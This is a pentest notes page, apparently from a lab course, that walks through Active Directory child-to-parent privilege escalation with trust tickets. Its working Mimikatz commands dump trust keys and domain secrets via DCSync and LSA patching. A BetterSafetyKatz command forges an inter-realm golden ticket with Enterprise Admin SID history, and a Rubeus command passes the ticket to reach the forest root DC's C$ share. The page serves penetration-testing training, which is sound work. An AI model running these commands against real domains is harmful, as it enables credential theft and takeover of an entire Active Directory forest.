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  1. Active Directory Pentest
  2. Domain Privilege Escalation
  3. Across Trusts
  4. Child to Parent (Cross Domain)

Using Trust Tickets

Child to Parent using Trust Tickets

We will extract the trust key, and then forge an inter-realm TGT where we inject a SID History of Enterprise Admin.

  1. To extract trust tickets, look for [In] trust key from child to parent.

Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dcorp-dc

OR run DCSync to extract

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'

OR extract all the secrets from DC

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
  1. Now, we can forge the inter-realm TGT using the trust key obtained. Note: Unless, explicitly specified, across trusts (within or across forests), AES is not supported. RC4 is supported.

C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /sids:S-1-5-21-335606122-960912869-3279953914-519 /rc4:e9ab2e57f6397c19b62476e98e9521ac /service:krbtgt /target:moneycorp.local /ticket:C:\AD\Tools\trust_tkt.kirbi" "exit"
Option
Description

Kerberos::golden

The mimikatz module

/domain

FQDN of the current domain

/sid

SID of the current domain

/sids

SID of the enterprise admins group of the parent domain

/rc4

RC4 of the trust key

/user

User to impersonate

/service

Target service in the parent domain

/target

FQDN of the parent domain

/ticket

Path where the ticket is to be saved (e.g., C:\AD\Tools\trust_tkt.kirbi)

  1. Now we can request a TGS from parent DC to access a service (CIFS) on DC on the parent root DC.

Rubeus.exe asktgs /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi /service:cifs/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
  1. We can now access forest root DC.

ls \\mcorp-dc.moneycorp.local\c$
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Last updated 10 months ago